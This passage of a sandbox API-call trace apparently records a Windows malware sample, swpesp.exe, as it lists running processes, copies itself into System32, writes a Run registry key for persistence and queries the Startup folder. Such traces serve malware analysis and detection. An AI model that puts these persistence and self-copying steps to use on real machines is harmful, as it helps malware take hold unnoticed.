	[0034.717] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0034.718] lstrlenW (lpString="svchost.exe") returned 11
	[0034.718] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0034.719] lstrlenW (lpString="svchost.exe") returned 11
	[0034.719] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0034.719] lstrlenW (lpString="svchost.exe") returned 11
	[0034.719] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0034.720] lstrlenW (lpString="audiodg.exe") returned 11
	[0034.720] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0034.720] lstrlenW (lpString="svchost.exe") returned 11
	[0034.720] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0034.721] lstrlenW (lpString="svchost.exe") returned 11
	[0034.721] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0034.722] lstrlenW (lpString="dwm.exe") returned 7
	[0034.722] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0034.722] lstrlenW (lpString="explorer.exe") returned 12
	[0034.722] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0034.723] lstrlenW (lpString="spoolsv.exe") returned 11
	[0034.723] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0034.723] lstrlenW (lpString="taskhost.exe") returned 12
	[0034.723] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0034.724] lstrlenW (lpString="svchost.exe") returned 11
	[0034.724] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0034.725] lstrlenW (lpString="taskeng.exe") returned 11
	[0034.725] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0034.725] lstrlenW (lpString="taskhost.exe") returned 12
	[0034.725] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0034.726] lstrlenW (lpString="program.exe") returned 11
	[0034.726] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0034.726] lstrlenW (lpString="felt.exe") returned 8
	[0034.727] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0034.727] lstrlenW (lpString="bibliography.exe") returned 16
	[0034.727] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0034.728] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0034.728] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0034.728] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0034.728] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0034.729] lstrlenW (lpString="converter.exe") returned 13
	[0034.729] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0034.729] lstrlenW (lpString="once.exe") returned 8
	[0034.729] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0034.730] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0034.730] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0034.730] lstrlenW (lpString="always.exe") returned 10
	[0034.731] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0034.731] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0034.731] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0034.732] lstrlenW (lpString="donated.exe") returned 11
	[0034.732] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0034.732] lstrlenW (lpString="nowherepike.exe") returned 15
	[0034.732] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0034.733] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0034.733] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0034.733] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0034.733] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0034.734] lstrlenW (lpString="allowance.exe") returned 13
	[0034.734] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0034.734] lstrlenW (lpString="conducting affect.exe") returned 21
	[0034.734] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0034.735] lstrlenW (lpString="plaintiff.exe") returned 13
	[0034.735] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0034.736] lstrlenW (lpString="dialog.exe") returned 10
	[0034.736] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0034.736] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0034.736] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0034.737] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0034.737] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0034.737] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0034.737] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0034.738] lstrlenW (lpString="dllhost.exe") returned 11
	[0034.738] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0034.738] lstrlenW (lpString="dllhost.exe") returned 11
	[0034.738] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0034.739] lstrlenW (lpString="swpesp.exe") returned 10
	[0034.739] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 0
	[0034.740] CloseHandle (hObject=0xe0) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525268 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5252b0 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5252f8 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525318 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525360 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x524a00 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504718 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504750 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504348 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504370 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504798 | out: hHeap=0x4f0000) returned 1
	[0034.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504398 | out: hHeap=0x4f0000) returned 1
	[0034.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x52b428
	[0034.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x53b430
	[0034.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.741] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504398
	[0034.741] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504398, Size=0x40) returned 0x5269a8
	[0034.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.741] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504398
	[0034.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.741] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504370
	[0034.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.741] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504348
	[0034.741] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x5269f0
	[0034.741] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x53b430, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\swpesp.exe")) returned 0x30
	[0034.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54b438
	[0034.741] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55b440
	[0034.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.742] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504348
	[0034.742] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x526a38
	[0034.742] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a38, Size=0x80) returned 0x525268
	[0034.742] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525268, Size=0x100) returned 0x527bb0
	[0034.742] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0034.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527bb0 | out: hHeap=0x4f0000) returned 1
	[0034.742] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\swpesp.exe", lpDst=0x54b438, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\swpesp.exe") returned 0x1f
	[0034.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55b440 | out: hHeap=0x4f0000) returned 1
	[0034.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b438 | out: hHeap=0x4f0000) returned 1
	[0034.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x5f0020
	[0034.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.742] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x504348
	[0034.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.742] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x525930
	[0034.742] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0034.743] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0034.743] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1
	[0034.743] lstrlenW (lpString="kernel32.dll") returned 12
	[0034.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504348 | out: hHeap=0x4f0000) returned 1
	[0034.743] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0034.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1
	[0034.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\swpesp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\swpesp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0
	[0034.743] CreateFileW (lpFileName="C:\\Windows\\System32\\swpesp.exe" (normalized: "c:\\windows\\system32\\swpesp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4
	[0034.744] ReadFile (in: hFile=0xe0, lpBuffer=0x5f0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0034.758] WriteFile (in: hFile=0xe4, lpBuffer=0x5f0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1
	[0034.761] ReadFile (in: hFile=0xe0, lpBuffer=0x5f0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x5f0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1
	[0034.761] CloseHandle (hObject=0xe4) returned 1
	[0034.763] CloseHandle (hObject=0xe0) returned 1
	[0034.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.763] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x525930
	[0034.763] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.763] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x5258e0
	[0034.763] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0034.763] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0034.763] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1
	[0034.763] lstrlenW (lpString="kernel32.dll") returned 12
	[0034.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5258e0 | out: hHeap=0x4f0000) returned 1
	[0034.764] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0034.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1
	[0034.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5f0020 | out: hHeap=0x4f0000) returned 1
	[0034.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.768] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x525930
	[0034.768] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525930, Size=0x40) returned 0x526a38
	[0034.768] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a38, Size=0x80) returned 0x54b450
	[0034.768] lstrlenW (lpString="C:\\Windows\\System32\\swpesp.exe") returned 30
	[0034.768] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0034.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x525268
	[0034.768] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0
	[0034.769] RegSetValueExW (in: hKey=0xe0, lpValueName="swpesp.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\swpesp.exe", cbData=0x3c | out: lpData="C:\\Windows\\System32\\swpesp.exe") returned 0x0
	[0034.770] RegCloseKey (hKey=0xe0) returned 0x0
	[0034.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525268 | out: hHeap=0x4f0000) returned 1
	[0034.770] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0034.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b450 | out: hHeap=0x4f0000) returned 1
	[0034.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x54d438
	[0034.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x55d440
	[0034.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x524a00
	[0034.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x524a00, Size=0x20) returned 0x525930
	[0034.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525930, Size=0x40) returned 0x526a38
	[0034.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a38, Size=0x80) returned 0x54b450
	[0034.770] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b450, Size=0x100) returned 0x527bb0
	[0034.770] lstrlenW (lpString="") returned 0
	[0034.770] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0034.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x527cb8
	[0034.770] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0
	[0034.770] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x55d440, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x55d440*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2
	[0034.770] RegCloseKey (hKey=0xe0) returned 0x0
	[0034.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527cb8 | out: hHeap=0x4f0000) returned 1
	[0034.770] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0034.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x527cb8
	[0034.770] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0
